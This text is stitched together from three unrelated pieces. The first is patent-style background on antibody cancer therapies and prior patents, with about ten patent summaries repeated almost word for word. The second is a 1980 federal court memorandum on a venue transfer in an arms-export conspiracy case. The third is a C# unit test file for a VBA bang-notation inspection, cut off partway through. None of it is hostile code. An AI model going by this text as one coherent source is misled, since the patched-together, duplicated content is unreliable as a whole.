HERCEPTIN® (trastuzumab) was approved in 1998 for first line use in combination with TAXOL® (paclitaxel). Clinical study results showed an increase in the median time to disease progression for those who received antibody therapy plus TAXOL® (paclitaxel) (6.9 months) in comparison to the group that received TAXOL® (paclitaxel) alone (3.0 months). There was also a slight increase in median survival; 22 versus 18 months for the HERCEPTIN® (trastuzumab) plus TAXOL® (paclitaxel) treatment arm versus the TAXOL® (paclitaxel) treatment alone arm. In addition, there was an increase in the number of both complete (8 versus 2 percent) and partial responders (34 versus 15 percent) in the antibody plus TAXOL® (paclitaxel) combination group in comparison to TAXOL® (paclitaxel) alone. However, treatment with HERCEPTIN® (trastuzumab) and TAXOL® (paclitaxel) led to a higher incidence of cardiotoxicity in comparison to TAXOL® (paclitaxel) treatment alone (13 versus 1 percent respectively). Also, HERCEPTIN® (trastuzumab) therapy was only effective for patients who over express (as determined through immunohistochemistry (IHC) analysis) the human epidermal growth factor receptor 2 (Her2/neu), a receptor, which currently has no known function or biologically important ligand; approximately 25 percent of patients who have metastatic breast cancer. Therefore, there is still a large unmet need for patients with breast cancer. Even those who can benefit from HERCEPTIN® (trastuzumab) treatment would still require chemotherapy and consequently would still have to deal with, at least to some degree, the side effects of this kind of treatment.
The clinical trials investigating colorectal cancer involve antibodies against both glycoprotein and glycolipid targets. Antibodies such as 17-1A, which has some specificity for adenocarcinomas, has undergone Phase 2 clinical trials in over 60 patients with only 1 patient having a partial response. In other trials, use of 17-1A produced only 1 complete response and 2 minor responses among 52 patients in protocols using additional cyclophosphamide. To date, Phase III clinical trials of 17-1A have not demonstrated improved efficacy as adjuvant therapy for stage III colon cancer. The use of a humanized murine monoclonal antibody initially approved for imaging also did not produce tumor regression.
Only recently have there been any positive results from colorectal cancer clinical studies with the use of monoclonal antibodies. In 2004, ERBITUX® (cetuximab) was approved for the second line treatment of patients with EGFR-expressing metastatic colorectal cancer who are refractory to irinotecan-based chemotherapy. Results from both a two-arm Phase II clinical study and a single arm study showed that ERBITUX® (cetuximab) in combination with irinotecan had a response rate of 23 and 15 percent respectively with a median time to disease progression of 4.1 and 6.5 months respectively. Results from the same two-arm Phase II clinical study and another single arm study showed that treatment with ERBITUX® (cetuximab) alone resulted in an 11 and 9 percent response rate respectively with a median time to disease progression of 1.5 and 4.2 months respectively.
Consequently in both Switzerland and the United States, ERBITUX® (cetuximab) treatment in combination with irinotecan, and in the United States, ERBITUX® (cetuximab) treatment alone, has been approved as a second line treatment of colon cancer patients who have failed first line irinotecan therapy. Therefore, like HERCEPTIN® (trastuzumab), treatment in Switzerland is only approved as a combination of monoclonal antibody and chemotherapy. In addition, treatment in both Switzerland and the US is only approved for patients as a second line therapy. Also, in 2004, AVASTIN® (bevacizumab) was approved for use in combination with intravenous 5-fluorouracil-based chemotherapy as a first line treatment of metastatic colorectal cancer. Phase III clinical study results demonstrated a prolongation in the median survival of patients treated with AVASTIN® (bevacizumab) plus 5-fluorouracil compared to patients treated with 5-fluourouracil alone (20 months versus 16 months respectively). However, again like HERCEPTIN® (trastuzumab) and ERBITUX® (cetuximab), treatment is only approved as a combination of monoclonal antibody and chemotherapy.
There also continues to be poor results for lung, brain, ovarian, pancreatic, prostate, and stomach cancer. The most promising recent results for non-small cell lung cancer came from a Phase II clinical trial where treatment involved a monoclonal antibody (SGN-15; dox-BR96, anti-Sialyl-LeX) conjugated to the cell-killing drug doxorubicin in combination with the chemotherapeutic agent TAXOTERE® (docetaxel). TAXOTERE® (docetaxel) is the only FDA approved chemotherapy for the second line treatment of lung cancer. Initial data indicate an improved overall survival compared to TAXOTERE® (docetaxel) alone. Out of the 62 patients who were recruited for the study, two-thirds received SGN-15 in combination with TAXOTERE® (docetaxel) while the remaining one-third received TAXOTERE® (docetaxel) alone. For the patients receiving SGN-15 in combination with TAXOTERE® (docetaxel), median overall survival was 7.3 months in comparison to 5.9 months for patients receiving TAXOTERE® (docetaxel) alone. Overall survival at 1 year and 18 months was 29 and 18 percent respectively for patients receiving SNG-15 plus TAXOTERE® (docetaxel) compared to 24 and 8 percent respectively for patients receiving TAXOTERE® (docetaxel) alone. Further clinical trials are planned.
Preclinically, there has been some limited success in the use of monoclonal antibodies for melanoma. Very few of these antibodies have reached clinical trials and to date none have been approved or demonstrated favorable results in Phase III clinical trials.
The discovery of new drugs to treat disease is hindered by the lack of identification of relevant targets among the products of 30,000 known genes that could contribute to disease pathogenesis. In oncology research, potential drug targets are often selected simply due to the fact that they are over-expressed in tumor cells. Targets thus identified are then screened for interaction with a multitude of compounds. In the case of potential antibody therapies, these candidate compounds are usually derived from traditional methods of monoclonal antibody generation according to the fundamental principles laid down by Kohler and Milstein (1975, Nature, 256, 495-497, Kohler and Milstein). Spleen cells are collected from mice immunized with antigen (e.g. whole cells, cell fractions, purified antigen) and fused with immortalized hybridoma partners. The resulting hybridomas are screened and selected for secretion of antibodies which bind most avidly to the target. Many therapeutic and diagnostic antibodies directed against cancer cells, including HERCEPTIN® (trastuzumab) and Rituximab, have been produced using these methods and selected on the basis of their affinity. The flaws in this strategy are two-fold. Firstly, the choice of appropriate targets for therapeutic or diagnostic antibody binding is limited by the paucity of knowledge surrounding tissue specific carcinogenic processes and the resulting simplistic methods, such as selection by overexpression, by which these targets are identified. Secondly, the assumption that the drug molecule that binds to the receptor with the greatest affinity usually has the highest probability for initiating or inhibiting a signal may not always be the case.
Despite some progress with the treatment of breast and colon cancer, the identification and development of efficacious antibody therapies, either as single agents or co-treatments, have been inadequate for all types of cancer.
Prior Patents:
U.S. Pat. No. 5,750,102 discloses a process wherein cells from a patient's tumor are transfected with MHC genes which may be cloned from cells or tissue from the patient. These transfected cells are then used to vaccinate the patient.
U.S. Pat. No. 4,861,581 discloses a process comprising the steps of obtaining monoclonal antibodies that are specific to an internal cellular component of neoplastic and normal cells of the mammal but not to external components, labeling the monoclonal antibody, contacting the labeled antibody with tissue of a mammal that has received therapy to kill neoplastic cells, and determining the effectiveness of therapy by measuring the binding of the labeled antibody to the internal cellular component of the degenerating neoplastic cells. In preparing antibodies directed to human intracellular antigens, the patentee recognizes that malignant cells represent a convenient source of such antigens.
U.S. Pat. No. 5,171,665 provides a novel antibody and method for its production. Specifically, the patent teaches formation of a monoclonal antibody which has the property of binding strongly to a protein antigen associated with human tumors, e.g. those of the colon and lung, while binding to normal cells to a much lesser degree.
U.S. Pat. No. 5,484,596 provides a method of cancer therapy comprising surgically removing tumor tissue from a human cancer patient, treating the tumor tissue to obtain tumor cells, irradiating the tumor cells to be viable but non-tumorigenic, and using these cells to prepare a vaccine for the patient capable of inhibiting recurrence of the primary tumor while simultaneously inhibiting metastases. The patent teaches the development of monoclonal antibodies which are reactive with surface antigens of tumor cells. As set forth at col. 4, lines 45 et seq., the patentees utilize autochthonous tumor cells in the development of monoclonal antibodies expressing active specific immunotherapy in human neoplasia.
U.S. Pat. No. 5,693,763 teaches a glycoprotein antigen characteristic of human carcinomas and not dependent upon the epithelial tissue of origin.
U.S. Pat. No. 5,783,186 is drawn to Anti-Her2 antibodies which induce apoptosis in Her2 expressing cells, hybridoma cell lines producing the antibodies, methods of treating cancer using the antibodies and pharmaceutical compositions including said antibodies.
U.S. Pat. No. 5,849,876 describes new hybridoma cell lines for the production of monoclonal antibodies to mucin antigens purified from tumor and non-tumor tissue sources.
U.S. Pat. No. 5,869,268 is drawn to a method for generating a human lymphocyte producing an antibody specific to a desired antigen, a method for producing a monoclonal antibody, as well as monoclonal antibodies produced by the method. The patent is particularly drawn to the production of an anti-HD human monoclonal antibody useful for the diagnosis and treatment of cancers.
U.S. Pat. No. 5,869,045 relates to antibodies, antibody fragments, antibody conjugates and single-chain immunotoxins reactive with human carcinoma cells. The mechanism by which these antibodies function is two-fold, in that the molecules are reactive with cell membrane antigens present on the surface of human carcinomas, and further in that the antibodies have the ability to internalize within the carcinoma cells, subsequent to binding, making them especially useful for forming antibody-drug and antibody-toxin conjugates. In their unmodified form the antibodies also manifest cytotoxic properties at specific concentrations.
U.S. Pat. No. 5,780,033 discloses the use of autoantibodies for tumor therapy and prophylaxis. However, this antibody is an antinuclear autoantibody from an aged mammal. In this case, the autoantibody is said to be one type of natural antibody found in the immune system. Because the autoantibody comes from “an aged mammal”, there is no requirement that the autoantibody actually comes from the patient being treated. In addition the patent discloses natural and monoclonal antinuclear autoantibody from an aged mammal, and a hybridoma cell line producing a monoclonal antinuclear autoantibody.
U.S. Pat. No. 5,750,102 discloses a process wherein cells from a patient's tumor are transfected with MHC genes, which may be cloned from cells or tissue from the patient. These transfected cells are then used to vaccinate the patient.
U.S. Pat. No. 4,861,581 discloses a process comprising the steps of obtaining monoclonal antibodies that are specific to an internal cellular component of neoplastic and normal cells of the mammal but not to external components, labeling the monoclonal antibody, contacting the labeled antibody with tissue of a mammal that has received therapy to kill neoplastic cells, and determining the effectiveness of therapy by measuring the binding of the labeled antibody to the internal cellular component of the degenerating neoplastic cells. In preparing antibodies directed to human intracellular antigens, the patentee recognizes that malignant cells represent a convenient source of such antigens.
U.S. Pat. No. 5,171,665 provides a novel antibody and method for its production. Specifically, the patent teaches formation of a monoclonal antibody which has the property of binding strongly to a protein antigen associated with human tumors, e.g. those of the colon and lung, while binding to normal cells to a much lesser degree.
U.S. Pat. No. 5,484,596 provides a method of cancer therapy comprising surgically removing tumor tissue from a human cancer patient, treating the tumor tissue to obtain tumor cells, irradiating the tumor cells to be viable but non-tumorigenic, and using these cells to prepare a vaccine for the patient capable of inhibiting recurrence of the primary tumor while simultaneously inhibiting metastases. The patent teaches the development of monoclonal antibodies, which are reactive with surface antigens of tumor cells. As set forth at col. 4, lines 45 et seq., the patentees utilize autochthonous tumor cells in the development of monoclonal antibodies expressing active specific immunotherapy in human neoplasia.
U.S. Pat. No. 5,693,763 teaches a glycoprotein antigen characteristic of human carcinomas and not dependent upon the epithelial tissue of origin.
U.S. Pat. No. 5,783,186 is drawn to anti-Her2 antibodies, which induce apoptosis in Her2 expressing cells, hybridoma cell lines producing the antibodies, methods of treating cancer using the antibodies and pharmaceutical compositions including said antibodies.
U.S. Pat. No. 5,849,876 describes new hybridoma cell lines for the production of monoclonal antibodies to mucin antigens purified from tumor and non-tumor tissue sources.
U.S. Pat. No. 5,869,268 is drawn to a method for generating a human lymphocyte producing an antibody specific to a desired antigen, a method for producing a monoclonal antibody, as well as monoclonal antibodies produced by the method. The patent is particularly drawn to the production of an anti-HD human monoclonal antibody useful for the diagnosis and treatment of cancers.
U.S. Pat. No. 5,869,045 relates to antibodies, antibody fragments, antibody conjugates and single chain immunotoxins reactive with human carcinoma cells. The mechanism by which these antibodies function is 2-fold, in that the molecules are reactive with cell membrane antigens present on the surface of human carcinomas, and further in that the antibodies have the ability to internalize within the carcinoma cells, subsequent to binding, making them especially useful for forming antibody-drug and antibody-toxin conjugates. In their unmodified form the antibodies also manifest cytotoxic properties at specific concentrations.
U.S. Pat. No. 5,780,033 discloses the use of autoantibodies for tumor therapy and prophylaxis. However, this antibody is an anti-nuclear autoantibody from an aged mammal. In this case, the autoantibody is said to be one type of natural antibody found in the immune system. Because the autoantibody comes from “an aged mammal”, there is no requirement that the autoantibody actually comes from the patient being treated. In addition the patent discloses natural and monoclonal antinuclear autoantibody from an aged mammal, and a hybridoma cell line producing a monoclonal antinuclear autoantibody.
U.S. Pat. No. 5,916,561 discloses a specific antibody, VFF-18, and its variants directed against the variant exon v6 of the CD44 gene. This antibody is an improvement over the comparator antibody in that it recognizes a human CD44 v6 variant rather than a rat CD44 v6 variant. In addition this antibody discloses diagnostic assays for CD44 v6 expression. There was no in vitro or in vivo function disclosed for this antibody.
U.S. Pat. No. 5,616,468 discloses a monoclonal antibody, Var3.1, raised against a synthetic peptide containing a sequence encoded by the human exon 6A of the CD44 gene. Specifically this antibody does not bind to the 90 kD form of human CD44 and is distinguished from the Hermes-3 antibody. A method for detection of the v6 variant of CD44 is provided, as well as a method for screening and assaying for malignant transformation based on this antigen. A method for screening for inflammatory disease based on detecting the antigen in serum is also provided.
U.S. Pat. No. 5,879,898 discloses a specific antibody that binds to a 129 bp exon of a human CD44 variant 6 that produces a 43 amino acid peptide. The monoclonal antibody is produced by a number of hybridoma cell lines: MAK<CD44>M-1.1.12, MAK<CD44>M-2.42.3, MAK<CD44>M-4.3.16. The antibody is generated from a fusion protein that contains at least a hexapeptide of the novel CD44 v6 amino acid sequence. Further, there is a disclosure of an immunoassay for the detection of exon 6 variant that can be used as a cancer diagnostic. Significantly, there is no in vitro or in vivo function of this antibody disclosed.
U.S. Pat. No. 5,942,417 discloses a polynucleotide that encodes a CD44 like polypeptide, and the method of making a recombinant protein using the polynucleotide and its variants. Antibodies are claimed to these polypeptides however there are no specific examples and there are no deposited clones secreting such antibodies. Northern blots demonstrate the appearance of the polynucleotide in several types of tissues, but there is no accompanying evidence that there is translation and expression of this polynucleotide. Therefore, there is no evidence that there were antibodies to be made to the gene product of this polynucleotide, that these antibodies would have either in vitro or in vivo function, and whether they would be relevant to human cancerous disease.
U.S. Pat. No. 5,885,575 discloses an antibody that reacts with a variant epitope of CD44 and methods of identifying the variant through the use of the antibody. The isolated polynucleotide encoding this variant was isolated from rat cells, and the antibody, mAb1.1ASML, directed against this variant recognizes proteins of molecular weight 120 kD, 150 kD, 180 kD, and 200 kD. The administration of monoclonal antibody 1.1ASML delayed the growth and metastases of rat BSp73ASML in isogenic rats. Significantly 1.1ASML does not recognize human tumors as demonstrated by its lack of reactivity, to LCLC97 human large-cell lung carcinoma. A human homolog was isolated from LCLC97 but no equivalent antibody recognizing this homolog was produced. Thus, although an antibody specific to a variant of rat CD44 was produced and shown to affect the growth and metastasis of rat tumors there is no evidence for the effect the this antibody against human tumors. More specifically the inventors point out that this antibody does not recognize human cancers. |
485 F.Supp. 789 (1980)
UNITED STATES of America
v.
Ramon BARRIENTOS and Michael Karasik.
Crim. No. 79-180.
United States District Court, E. D. Pennsylvania.
January 23, 1980.
Roberto Rivera-Soto, Philadelphia, Pa., W. Cecil Jones, Asst. U. S. Atty., for plaintiff.
William A. Clay, Miami, Fla., for Mr. Barrientos.
Carl H. Lide, Miami, Fla., for Mr. Karasik.
MEMORANDUM
POLLAK, District Judge.
I.
On July 31, 1979, an indictment was returned by a federal grand jury in the Eastern District of Pennsylvania. The indictment charged that Ramon Barrientos, Cesar Sandino Grullon, Virgilio Armando Mejia, and Michael Karasik had conspired in violation of 18 U.S.C. § 371 to violate 22 U.S.C. § 2778 which makes it a crime to export certain categories of weapons without a license from the federal government. The indictment alleged the commission of overt acts in furtherance of the conspiracy both in the Eastern District of Pennsylvania and in the Southern District of Florida. The geographic diversity of the indictment paralleled the geographic diversity of the four *790 defendants: Grullon worked in the Eastern District of Pennsylvania and resided in nearby New Jersey. Mejia worked and resided in the Eastern District of Pennsylvania. Barrientos and Karasik both resided and worked in the Southern District of Florida.[1]
On October 5, 1979, I granted the Government's motion to sever the trial of defendants Barrientos and Karasik from the trial of defendants Grullon and Mejia. Thereafter, defendants Grullon and Mejia were tried without a jury. At the close of the Government's case, I denied motions for directed verdicts of acquittal predicated on the strict scienter standard articulated by the Court of Appeals for the Fifth Circuit in United States v. Wieschenberg, 604 F.2d 326 (1979). I held that in this Circuit the proper construction of 22 U.S.C. § 2778 (and hence of an indictment charging a conspiracy to violate 22 U.S.C. § 2778) invokes the less demanding scienter standard reflected in Judge Broderick's jury instructions in United States v. Byrne, 422 F.Supp. 147, 168 n.20 (E.D.Pa.1976), in part affirmed and in part reversed on other grounds, sub nom. United States v. Cahalane, 560 F.2d 601 (3d Cir. 1977), cert. denied, 434 U.S. 1045, 98 S.Ct. 890, 54 L.Ed.2d 796 (1978). At the close of the case, I found defendants Grullon and Mejia guilty. In explaining my verdict, as announced from the bench on December 4, 1979, I stated that the Government's case fully met the Byrne standard (sustained in Cahalane) although not, in my view, the Wieschenberg standard as I understood it.
The trial of defendants Barrientos and Karasik was scheduled to follow shortly after the conclusion of the trial of Grullon and Mejia. On December 12, 1979, Barrientos and Karasik moved to transfer the trial to the Southern District of Florida. On December 14 the Government filed its memorandum opposing the transfer, and on that day I held a hearing on the motion. Following the hearing I granted the motion to transfer, announcing my decision from the bench.[2] My decision involved an examination of the several relevant factors identified, and apparently approved, in Platt v. Minnesota Mining & Manufacturing Co., 376 U.S. 240, 244, 84 S.Ct. 769, 771, 11 L.Ed.2d 674 (1964). After examining the various factors, I concluded with the following exposition of the elements which seemed to me to be controlling:
My conclusion is that this case should be transferred and I come to that conclusion because, with balances reasonably close on several of the items, the items that seem to me dispositive are those that go to, I think, the very, very extraordinary financial burden that would be imposed on the defendants and their attorneys if this case were retained here and I don't put at a low level the Government's inconvenience in continuing its prosecution here where its attorneys are located, where the really indispensible member of this whole case, Agent Fleisher, is located, but he too is mobile, I guess. I don't put the Government's interests at naught but it's only a matter, if I may say so, of inconvenience, not of fundamental disadvantage, and to the extent that one is talking about balances of convenience as *791 between the Government and the defendants, I conclude that on the question of transfer where the matter is in equilibrium the Government's interest must be subordinated, but having offered that dictum I do want to add that I do not regard this as a situation in which the matter is in equilibrium. I do think that the comparative financial burdens weigh very heavily in favor of permitting the defendants and their lawyers to try the case on their home grounds and, apart from the dollar cost, I think the factor of homeness is a factor which deserves real weight when there is no compulsion that points in another direction.
I think it perfectly clear that if we were now to look back and say "Where would this indictment have been laid and this prosecution brought had there not been a Mr. Grullon and a Mr. Mejia charged in the same indictment?" the case would have been brought in Miami against Mr. Barrientos and Mr. Karasik and I think that is the status quo ante which would have been which should now be reconstructed by an order transferring this case to the Southern District of Miami.
N.T. 87-89.
II.
The Government has now moved for reconsideration of the order of transfer. The reason assigned is that I did not give weight to the likelihood that the trial of Messrs. Barrientos and Karasik, if it is to take place in the Southern District of Florida rather than here, will be governed by the standard of scienter prevailing in the Fifth Circuit namely, the strict Wieschenberg standard which I declined to follow in the trial of Messrs. Grullon and Mejia. According to the Government:
11. In its December 14, 1979 oral findings, the Court did not specifically address the fact that, upon a forum non conveniens transfer, the law of the transferee district would apply.
12. In its December 14, 1979 oral findings, the Court did not take note of the conflict of law between the Fifth Circuit and all other Circuits as a "special element which might affect a transfer" (N.T. 87); this is one of the factors adopted sub silentio in Platt v. Minnesota Mining Co., 376 U.S. 240, 244 [84 S.Ct. 769, 771, 11 L.Ed.2d 674] (1964), as relevant in considering a forum non conveniens motion.
13. Because of the conflict of law between the Circuits, which conflict arose after the filing of Bill of Indictment 79-180, it is not in the interest of justice to transfer the instant cause to the Southern District of Florida for trial.
14. It is not in the interest of justice that the defendants Ramon Barrientos and Michael Karasik be tried under a stricter standard of proof than the one used for the defendants Cesar Sandino Grullon and Virgilio Armando Mejia, particularly when the Court declined to adopt such stricter standard.
15. The timing of the motion for transfer suggests an attempt at forum-shopping, the need for which became obvious after this Court declined to follow the Fifth Circuit-Weischenberg [sic] standard.
The contention is not one of Government pressed in its papers opposing the motions to transfer, or in the hearing on the motions. Nonetheless, I will consider the Government's contention on its merits: no purpose would be served in persisting in the order of transfer if it was an abuse of discretion or erroneous as a matter of law.
A.
I find unpersuasive the Government's submission that Platt v. Minnesota Mining and Manufacturing Co. "sub silentio" requires that I include, among the factors to be considered as bearing on the appropriateness of transfer, the likelihood that a change of venue will carry with it a change of applicable law. To the extent that Platt speaks to the matter at all, I think it counsels a judge not to take a consideration of this sort into account. In that case, a district judge sitting in Illinois *792 declined to transfer a criminal case to Minnesota for the reason, inter alia, that in the judge's view it would be hard to select in Minnesota a jury not biased in favor of the defendant, a large Minnesota-based corporation. The Court of Appeals for the Seventh Circuit held that it was inappropriate for a judge, in weighing the elements going into a discretionary determination to transfer or to retain a case, to conjecture about how a case would be conducted if tried in another district. Minnesota Mining and Manufacturing Co. v. Platt, 314 F.2d 369, 375 (7th Cir. 1963). "We believe," said the Court of Appeals, "it would be an unsound and dangerous innovation in our federal court system for a judge in any district to appraise or even speculate as the efficacy of the operations of a federal court of concurrent jurisdiction in another district." Id. Therefore, in order to correct the Illinois district judge's erroneously based denial of the motion to transfer, the Court of Appeals directed transfer of the case to the federal court sitting in Minnesota. Id. The Supreme Court reversednot because it disagreed with the Seventh Circuit's holding that the district judge should have excluded from his calculus any consideration of whether a fair trial could be had in Minnesota, but rather because the Court of Appeals should, after determining that the district judge had erred, have simply vacated the order of transfer and remanded so that the district judge in whom the discretion was vested, could redetermine the transfer question, confining his attention to the factors which it was proper for him to consider. Accordingly, I feel that it would be outside the ambit of Platt for me to entertain the Government's contention that the potential application of the Fifth Circuit's Wieschenberg rule, in preference to Judge Broderick's Byrne rule sustained by the Third Circuit in Cahalane, "is not in the interest of justice."
B.
But the Government's position has a more basic flaw. It proceeds from a predicate namely, that there is in this instance a "conflict of law" which, in Section II(A) of this opinion, I assumed arguendo to be true, but which, in my judgment, cannot withstand analysis.
When two or more states whether sovereign nations or the quasi-sovereign states which compose the United States and other federal unions have significant connections with a single legal controversy, it is not uncommon that the different states will be the source of discrepant legal norms, any of which could reasonably be regarded as constituting a proper rule of decision. Choosing the most proper of the competing norms is a chief end of that branch of jurisprudence denominated "conflicts of laws." It is in the handling of civil diversity cases that federal courts are most apt to run into conflicts questions: in that context, (1) a federal court is bound to follow the whole substantive law of the state in which it sits, including its conflicts rules,[3] and (2) when a case is transferred, pursuant to 28 U.S.C. § 1404(a), from a less convenient venue in one state to a more convenient venue in another state, the law of the transferor forum follows the case.[4]
The mere statement of these familiar propositions suffices to show that characterization of the problem presented in the current circumstance as a "conflict of law between the Circuits" is a misnomer. The substantive legal norm applicable to the Government's criminal case against Messrs. Barrientos and Karasik is Section 2778 of Title 22 of the United States Code. There is no competing norm, and hence there is no conflict of laws. There is apparently a conflict of interpretations, as between the Fifth and Third Circuits, of the single applicable norm. I happened to think the Third Circuit's interpretation is the sounder one. I follow it, however, not because I subscribe to it but because, sitting in Philadelphia, I am required to do so, just as a district judge sitting in Miami must follow the Fifth Circuit *793 interpretation whatever that judge's own views may be. In short, I have no a priori basis for concluding that the "interest of justice" would be served by applying the Third Circuit's interpretation of Section 2778 rather than the Fifth Circuit's interpretation, or vice-versa. Whether one interpretation or the other governs the trial of Messrs. Barrientos and Karasik is, therefore, a matter not relevant to my decision on whether the trial should be transferred to the Southern District of Florida.
What I have said is not intended to signify that discrepant judicial interpretations of a particular federal legal norm do not pose a problem of consequence. The opposite is true and most especially so when the norm is part of the federal criminal code, since a civilized legal order cannot tolerate the imposition of criminal sanctions on some, but not on others, for the same conduct. But resolving the inconsistent rulings of two courts of appeals is not the job of a district court; it is the job of the Supreme Court. Thus, if, in the present circumstance, it were to fall out that transfer to Miami of the case against Messrs. Barrientos and Karasik were to lead to their acquittal, through the application of Wieschenberg, while the convictions of Messrs. Grullon and Mejia were to be sustained by our Court of Appeals on the authority of Byrne and Cahalane, it would then be expectable that the Supreme Court would grant certiorari to review the cases of Grullon and Mejia, with a view to restoring the uniformity of federal law. See Sup.Ct.R. 19.1(b).
The Government's Motion to Reconsider the Change of Venue Order will, therefore, be denied.
NOTES
[1] The indictment also contained a second count alleging a conspiracy unrelated to that charged in the first count and which named defendants Grullon and Mejia but not defendants Barrientos and Karasik. That second count is irrelevant to the issues considered in this opinion.
[2] In its motion to reconsider the transfer order the Government characterizes the hearing as "an ex parte, in camera proceeding from which the Government was excluded." Government's Motion to Reconsider the Change of Venue Order, Paragraph 10. There was one phase of the hearing in which the Government did not participate. That was the phase in which defendants Barrientos and Karasik outlined in considerable detail including the names and hoped-for testimony of several potential witnesses the anticipated defense described in its broad contours on pages 4 and 5 of the motion to transfer. Recognizing that it would have been inappropriate for the Government to be apprised of the identities and anticipated testimony of defense witnesses at this pre-trial stage, the Government agreed that I should conduct that phase of the hearing in camera and with no Government attorneys present. N.T. 17, 20.
[3] Klaxon Co. v. Stentor Electric Co., 313 U.S. 487, 61 S.Ct. 1020, 85 L.Ed. 1477 (1941).
[4] Van Dusen v. Barrack, 376 U.S. 612, 84 S.Ct. 805, 11 L.Ed.2d 945 (1964).
|
using System.Linq;
using NUnit.Framework;
using Rubberduck.CodeAnalysis.Inspections;
using Rubberduck.CodeAnalysis.Inspections.Concrete;
using Rubberduck.Parsing.VBA;
using Rubberduck.VBEditor.SafeComWrappers;
namespace RubberduckTests.Inspections
{
[TestFixture]
public class UseOfBangNotationInspectionTests : InspectionTestsBase
{
[Test]
[Category("Inspections")]
public void DictionaryAccessExpression_OneResult()
{
var class1Code = @"
Public Function Foo(bar As String) As Class2
Attribute Foo.VB_UserMemId = 0
End Function
";
var class2Code = @"
Public Function Baz(bar As String) As Class2
Attribute Baz.VB_UserMemId = 0
End Function
";
var moduleCode = @"
Private Function Foo() As Class2
Dim cls As New Class1
Set Foo = cls!newClassObject
End Function
";
var inspectionResults = InspectionResultsForModules(
("Class1", class1Code, ComponentType.ClassModule),
("Class2", class2Code, ComponentType.ClassModule),
("Module1", moduleCode, ComponentType.StandardModule));
Assert.AreEqual(1, inspectionResults.Count());
}
[Test]
[Category("Inspections")]
public void WithDictionaryAccessExpression_OneResult()
{
var class1Code = @"
Public Function Foo(bar As String) As Class2
Attribute Foo.VB_UserMemId = 0
End Function
";
var class2Code = @"
Public Function Baz(bar As String) As Class2
Attribute Baz.VB_UserMemId = 0
End Function
";
var moduleCode = @"
Private Function Foo() As Class2
With New Class1
Set Foo = !newClassObject
End With
End Function
";
var inspectionResults = InspectionResultsForModules(
("Class1", class1Code, ComponentType.ClassModule),
("Class2", class2Code, ComponentType.ClassModule),
("Module1", moduleCode, ComponentType.StandardModule));
Assert.AreEqual(1, inspectionResults.Count());
}
[Test]
[Category("Inspections")]
public void ChainedDictionaryAccessExpression_OneResultEach()
{
var class1Code = @"
Public Function Foo(bar As String) As Class2
Attribute Foo.VB_UserMemId = 0
End Function
";
var class2Code = @"
Public Function Baz(bar As String) As Class2
Attribute Baz.VB_UserMemId = 0
End Function
";
var moduleCode = @"
Private Function Foo() As Class2
Dim cls As New Class1
Set Foo = cls!newClassObject!whatever
End Function
";
var inspectionResults = InspectionResultsForModules(
("Class1", class1Code, ComponentType.ClassModule),
("Class2", class2Code, ComponentType.ClassModule),
("Module1", moduleCode, ComponentType.StandardModule));
}
[Test]
[Category("Inspections")]
public void IndexedDefaultMemberAccessExpression_NoResult()
{
var class1Code = @"
Public Function Foo(bar As String) As Class2
Attribute Foo.VB_UserMemId = 0
End Function
";
var class2Code = @"
Public Function Baz(bar As String) As Class2
Attribute Baz.VB_UserMemId = 0
End Function
";
var moduleCode = @"
Private Function Foo() As Class2
Dim cls As New Class1
Set Foo = cls(""newClassObject"")
End Function
";
var inspectionResults = InspectionResultsForModules(
("Class1", class1Code, ComponentType.ClassModule),
("Class2", class2Code, ComponentType.ClassModule),
("Module1", moduleCode, ComponentType.StandardModule));
Assert.AreEqual(0, inspectionResults.Count());
}
[Test]
[Category("Inspections")]
public void ExplicitCall_NoResult()
{
var class1Code = @"
Public Function Foo(bar As String) As Class2
Attribute Foo.VB_UserMemId = 0
End Function
";
var class2Code = @"
Public Function Baz(bar As String) As Class2
Attribute Baz.VB_UserMemId = 0
End Function
";
var moduleCode = @"
Private Function Foo() As Class2
Dim cls As New Class1
Set Foo = cls.Foo(""newClassObject"")
End Function
";
var inspectionResults = InspectionResultsForModules(
("Class1", class1Code, ComponentType.ClassModule),
("Class2", class2Code, ComponentType.ClassModule),
("Module1", moduleCode, ComponentType.StandardModule));
Assert.AreEqual(0, inspectionResults.Count());
}
[Test]
[Category("Inspections")]
//Covered by UseOfUnboundBangInspection.
public void UnboundDictionaryAccessExpression_NoResult()
{
var class1Code = @"
Public Function Foo(bar As String) As Class2
Attribute Foo.VB_UserMemId = 0
Set Foo = New Class2
End Function
";
var class2Code = @"
Public Function Baz(bar As String) As Class2
Attribute Baz.VB_UserMemId = 0
Set Baz = New Class2
End Function
";
var moduleCode = @"
Private Function Foo() As Class2
Dim cls As Object
Set Foo = cls!newClassObject
End Function
";
var inspectionResults = InspectionResultsForModules(
("Class1", class1Code, ComponentType.ClassModule),
("Class2", class2Code, ComponentType.ClassModule),
("Module1", moduleCode, ComponentType.StandardModule));
Assert.AreEqual(0, inspectionResults.Count());
}
[Test]
[Category("Inspections")]
public void DictionaryAccessOnDefaultMemberArrayAccess_OneResult()
{
var class1Code = @"
Public Function Foo() As Class2()
Attribute Foo.VB_UserMemId = 0
End Function
";
var class2Code = @"
Public Function Baz(bar As String) As Class2
Attribute Baz.VB_UserMemId = 0
End Function
";
var moduleCode = @"
Private Function Foo() As Class2
Dim cls As New Class1
Set Foo = cls(0)!newClassObject
End Function
";
var inspectionResults = InspectionResultsForModules(
("Class1", class1Code, ComponentType.ClassModule),
("Class2", class2Code, ComponentType.ClassModule),
("Module1", moduleCode, ComponentType.StandardModule));
Assert.AreEqual(1, inspectionResults.Count());
}
[Test]
[Category("Inspections")]
//Covered by UseOfRecursiveBangInspection.
public void RecursiveDictionaryAccessOnDefaultMemberArrayAccess_NoResult()
{
var class1Code = @"
Public Function Foo() As Class3()
Attribute Foo.VB_UserMemId = 0
End Function
";
var class2Code = @"
Public Function Baz(bar As String) As Class2
Attribute Baz.VB_UserMemId = 0
End Function
";
var class3Code = @"
Public Function Baz() As Class2
Attribute Baz.VB_UserMemId = 0
End Function
";
var moduleCode = @"
Private Function Foo() As Class2
Dim cls As New Class1
Set Foo = cls(0)!newClassObject
End Function
";
var inspectionResults = InspectionResultsForModules(
("Class1", class1Code, ComponentType.ClassModule),
("Class2", class2Code, ComponentType.ClassModule),
("Class3", class3Code, ComponentType.ClassModule),
("Module1", moduleCode, ComponentType.StandardModule));
Assert.AreEqual(0, inspectionResults.Count());
}
[Test]
[Category("Inspections")]
//Covered by UseOfUnboundBangInspection.
public void RecursiveUnboundDictionaryAccessExpression_NoResult()
{
var class1Code = @"
Public Function Foo() As Object
Attribute Foo.VB_UserMemId = 0
